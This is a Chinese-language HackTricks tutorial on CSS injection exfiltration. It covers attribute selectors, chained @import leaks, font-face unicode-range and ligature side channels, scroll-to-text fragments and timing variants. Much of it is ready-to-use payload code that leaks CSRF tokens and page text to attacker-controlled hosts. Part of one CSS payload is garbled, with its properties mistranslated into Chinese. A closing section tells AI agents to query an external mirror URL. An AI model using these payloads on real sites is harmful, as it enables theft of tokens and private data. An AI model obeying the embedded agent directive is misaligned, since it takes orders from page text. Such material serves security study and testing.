# CSS Injection

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

**Try Hard Security Group**

<figure><img src="/files/Kw46fTSYxPIOMyKySfL5" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

***

## CSS注入

### 属性选择器

CSS选择器被设计用来匹配`input`元素的`name`和`value`属性的值。如果输入元素的value属性以特定字符开头，将加载预定义的外部资源：

```css
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
```

然而，当处理隐藏的输入元素（`type="hidden"`）时，这种方法会面临限制，因为隐藏元素不会加载背景。

#### 针对隐藏元素的绕过方法

为了规避这种限制，您可以使用`~`通用兄弟选择器来定位后续的兄弟元素。然后，CSS规则将应用于隐藏输入元素后面的所有兄弟元素，导致背景图片加载：

```css
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```

#### CSS注入的先决条件

要使CSS注入技术有效，必须满足以下条件：

1. **负载长度**：CSS注入向量必须支持足够长的负载，以容纳精心设计的选择器。
2. **CSS重新评估**：您应该有框架页面的能力，这是触发使用新生成的负载重新评估CSS的必要条件。
3. **外部资源**：该技术假定能够使用外部托管的图像。这可能会受到网站内容安全策略（CSP）的限制。

### 盲目属性选择器

正如[**在这篇文章中解释的**](https://portswigger.net/research/blind-css-exfiltration)，可以结合选择器\*\*`:has`**和**`:not`\*\*来识别甚至来自盲目元素的内容。当您不知道加载CSS注入的网页中有什么内容时，这将非常有用。\
还可以使用这些选择器从同一类型的多个块中提取信息，就像在以下示例中所示：

```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>
```

结合以下\*\*@import\*\*技术，可以利用[**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)从盲目页面中注入CSS来窃取大量信息。

### @import

前面的技术有一些缺点，请检查先决条件。您需要能够向受害者**发送多个链接**，或者您需要能够**将CSS注入漏洞页面嵌入到iframe中**。

然而，还有另一种聪明的技术，使用\*\*CSS `@import`\*\*来提高技术的质量。

这是由[**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf)首次展示的，工作原理如下：

与其像之前那样一次又一次地加载同一页面，每次加载都带有数十个不同的有效负载（就像之前的方法一样），我们将**仅加载一次页面，只需通过导入到攻击者服务器**（这是要发送给受害者的有效负载）：

```css
@import url('//attacker.com:5001/start?');
```

1. 攻击者将从**攻击者那里接收一些 CSS 脚本**，**浏览器将加载它**。
2. 攻击者将发送的 CSS 脚本的第一部分是**另一个 `@import` 到攻击者的服务器**。
3. 攻击者的服务器暂时不会响应此请求，因为我们希望泄漏一些字符，然后响应此导入以泄漏下一个字符。
4. 负载的第二部分将是一个**属性选择器泄漏负载**。
5. 这将向攻击者的服务器发送**秘密的第一个字符和最后一个字符**。
6. 一旦攻击者的服务器收到**秘密的第一个和最后一个字符**，它将**响应步骤 2 中请求的导入**。
7. 响应将与**步骤 2、3 和 4**完全相同，但这次它将尝试**找到秘密的第二个字符和倒数第二个字符**。

攻击者将**跟随该循环，直到成功完全泄漏秘密**。

您可以在此处找到原始的[**Pepe Vila 利用此漏洞的代码**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231)，或者您几乎可以在[**此处找到相同的代码但有注释**。](#css-injection)

{% hint style="info" %}
该脚本将尝试每次发现 2 个字符（从开头和结尾）因为属性选择器允许执行以下操作：

```css
/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
```

这使得脚本能更快地泄露秘密。
{% endhint %}

{% hint style="warning" %}
有时脚本**无法正确检测到已发现的前缀 + 后缀已经是完整的标志**，它会继续向前（在前缀中）和向后（在后缀中）移动，最终会停止。\
别担心，只需检查**输出**，因为**你可以在那里看到标志**。
{% endhint %}

### 其他选择器

使用**CSS选择器**访问DOM部分的其他方法：

* **`.class-to-search:nth-child(2)`**：这将在DOM中搜索具有类“class-to-search”的第二个项目。
* **`:empty`** 选择器：例如在[**此解析**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**中使用：**

```css
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
```

### 基于错误的XS-Search

**参考：**[基于CSS的攻击：滥用@font-face的unicode-range](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html)，[由@terjanq提供的基于错误的XS-Search PoC](https://twitter.com/terjanq/status/1180477124861407234)

总体意图是**使用来自受控端点的自定义字体**，并确保**仅当无法加载指定资源（`favicon.ico`）时，文本（在本例中为'A'）才会显示为此字体**。

```html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
```

1. **自定义字体使用**:

* 使用`<head>`部分中的`<style>`标签内的`@font-face`规则定义自定义字体。
* 字体名为`poc`，从外部端点(`http://attacker.com/?leak`)获取。
* 将`unicode-range`属性设置为`U+0041`，目标是特定的Unicode字符'A'。

2. **带备用文本的对象元素**:

* 在`<body>`部分创建了一个`id="poc0"`的`<object>`元素。该元素尝试从`http://192.168.0.1/favicon.ico`加载资源。
* 为该元素设置`font-family`为`'poc'`，如在`<style>`部分中定义的。
* 如果资源(`favicon.ico`)加载失败，`<object>`标签内的备用内容(字母'A')将被显示。
* 如果外部资源无法加载，备用内容('A')将使用自定义字体`poc`进行呈现。

### 样式化滚动到文本片段

使用\*\*`:target`**伪类来选择被**URL片段\*\*定位的元素，如[CSS选择器级别4规范](https://drafts.csswg.org/selectors-4/#the-target-pseudo)中所述。需要理解的是，除非文本明确被片段定位，否则`::target-text`不会匹配任何元素。

当攻击者利用**滚动到文本**片段功能时，会引发安全问题，允许他们通过HTML注入从其服务器加载资源来确认网页上特定文本的存在。该方法涉及注入类似以下的CSS规则：

```css
:target::before { content : url(target.png) }
```

在这种情况下，如果页面上存在文本"Administrator"，则会从服务器请求资源`target.png`，表明文本存在。可以通过一个特制的URL执行这种攻击，其中嵌入了注入的CSS以及一个滚动到文本片段：

```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```

这里，攻击利用HTML注入传输CSS代码，针对特定文本“Administrator”通过Scroll-to-text片段 (`#:~:text=Administrator`)。如果找到该文本，指定的资源将被加载，无意中向攻击者发出其存在的信号。

为了减轻风险，应注意以下几点：

1. **受限的STTF匹配**：Scroll-to-text Fragment (STTF) 仅设计用于匹配单词或句子，从而限制了其泄露任意机密信息或令牌的能力。
2. **限制为顶层浏览上下文**：STTF仅在顶层浏览上下文中运行，不在iframe内运行，使任何利用尝试对用户更加显眼。
3. **需要用户激活**：STTF需要用户激活手势才能运行，这意味着利用仅通过用户发起的导航是可行的。这一要求极大地减轻了攻击在没有用户交互的情况下自动化的风险。然而，博客作者指出了可能简化攻击自动化的特定条件和绕过方法（例如社会工程、与流行浏览器扩展的交互）。

了解这些机制和潜在漏洞对于维护网络安全并防范此类剥削性策略至关重要。

欲了解更多信息，请查看原始报告：<https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/>

您可以在这里检查一个[**使用此技术进行CTF的利用**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)。

### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>

您可以为特定Unicode值指定**外部字体**，仅当这些Unicode值存在于页面中时才会**收集**。例如：

```html
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm
```

### 文本节点外泄（I）：连字 <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>

**参考资料：** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)

描述的技术涉及通过利用字体连字从节点中提取文本，并监视宽度变化。该过程涉及几个步骤：

1. **创建自定义字体**：

* 使用具有`horiz-adv-x`属性的字形制作SVG字体，该属性为代表两个字符序列的字形设置较大的宽度。
* 示例SVG字形：`<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`，其中"XY"表示两个字符序列。
* 然后使用fontforge将这些字体转换为woff格式。

2. **检测宽度变化**：

* 使用CSS确保文本不换行（`white-space: nowrap`）并自定义滚动条样式。
* 水平滚动条的出现，具有独特样式的滚动条作为指示器（oracle），表示文本中存在特定的连字，因此存在特定的字符序列。
* 涉及的CSS：

```css
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
```

3. **利用过程**：

* **步骤1**：为具有大宽度的字符对创建字体。
* **步骤2**：使用基于滚动条的技巧来检测何时呈现大宽度字形（代表字符对的连字），指示字符序列的存在。
* **步骤3**：在检测到连字时，生成代表三字符序列的新字形，将检测到的对加入并添加前导或后继字符。
* **步骤4**：进行三字符连字的检测。
* **步骤5**：该过程重复，逐渐揭示整个文本。

4. **优化**：

* 当前的初始化方法使用`<meta refresh=...`并不是最佳的。
* 更有效的方法可能涉及使用CSS的`@import`技巧，增强利用的性能。

### 文本节点外泄（II）：使用默认字体泄露字符集（无需外部资源） <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>

**参考资料：** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)

这个技巧是在这个[**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/)中发布的。可以使用浏览器中安装的**默认字体**泄露文本节点中使用的字符集：不需要外部 -或自定义- 字体。

这个概念围绕着利用动画逐渐扩展`div`的宽度，允许一个字符一次从文本的“后缀”部分过渡到“前缀”部分。这个过程有效地将文本分成两部分：

1. **前缀**：初始行。
2. **后缀**：随后的行。

字符的过渡阶段如下所示：

**C**\
ADB

**CA**\
DB

**CAD**\
B

**CADB**

在这个过渡过程中，**unicode-range技巧**被用来识别每个新字符加入前缀时。通过将字体切换为Comic Sans，这个字体明显比默认字体高，从而触发垂直滚动条。这个滚动条的出现间接地揭示了前缀中新字符的存在。

尽管这种方法允许检测独特字符的出现，但它并不指定重复的是哪个字符，只是发生了重复。

{% hint style="info" %}
基本上，**unicode-range用于检测一个字符**，但由于我们不想加载外部字体，我们需要找到另一种方法。\
当**找到字符**时，它会被赋予预安装的**Comic Sans字体**，这会使字符**变大**并**触发滚动条**，从而**泄露找到的字符**。
{% endhint %}

检查从PoC中提取的代码：

````css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```css
5% { 宽度: 120px }
6% { 宽度: 140px }
7% { 宽度: 0px }
}

div::-webkit-scrollbar {
背景: 蓝色;
}

/* 侧信道 */
div::-webkit-scrollbar:vertical {
背景: 蓝色 var(--leak);
}
````

### 文本节点外泄（III）：通过隐藏元素（无需外部资产）使用默认字体泄漏字符集 <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>

**参考：** 在[此篇文章中提到了这个方法未成功](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)

这种情况与前一种非常相似，但在这种情况下，使特定字符比其他字符更大的目的是隐藏某些内容，比如一个按钮，以免被机器人按下，或者一个不会被加载的图像。因此，我们可以测量动作（或缺乏动作），并知道特定字符是否存在于文本中。

### 文本节点外泄（III）：通过缓存时间泄漏字符集（无需外部资产） <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>

**参考：** 在[此篇文章中提到了这个方法未成功](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)

在这种情况下，我们可以尝试通过从相同来源加载假字体来泄漏文本中是否存在某个字符：

```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```

如果匹配成功，**字体将从`/static/bootstrap.min.css?q=1`加载**。虽然加载不会成功，**浏览器应该会缓存它**，即使没有缓存，也有**304未修改**机制，因此**响应速度应该比其他内容更快**。

然而，如果缓存响应与非缓存响应的时间差异不够大，这将没有用。例如，作者提到：然而，在测试后，我发现第一个问题是速度并没有太大差异，第二个问题是机器人使用了`disk-cache-size=1`标志，这真的很周到。

### 文本节点外泄（III）：通过计时加载数百个本地“字体”（不需要外部资产）泄漏字符集 <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>

**参考：** 这在[此文中被提及为一个不成功的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)

在这种情况下，您可以指示**CSS加载数百个假字体**，当匹配发生时，这样您就可以**测量所需的时间**，并找出字符是否出现，例如：

```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
```

而机器人的代码如下：

```python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```

所以，如果字体不匹配，则访问机器人时的响应时间预计约为30秒。但是，如果存在字体匹配，则将发送多个请求以检索字体，导致网络持续活动。因此，满足停止条件并接收响应将需要更长时间。因此，响应时间可以用作指标来确定是否存在字体匹配。

## 参考资料

* <https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e>
* <https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b>
* <https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d>
* <https://x-c3ll.github.io/posts/CSS-Injection-Primitives/>

**Try Hard Security Group**

<figure><img src="/files/Kw46fTSYxPIOMyKySfL5" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/xs-search/css-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
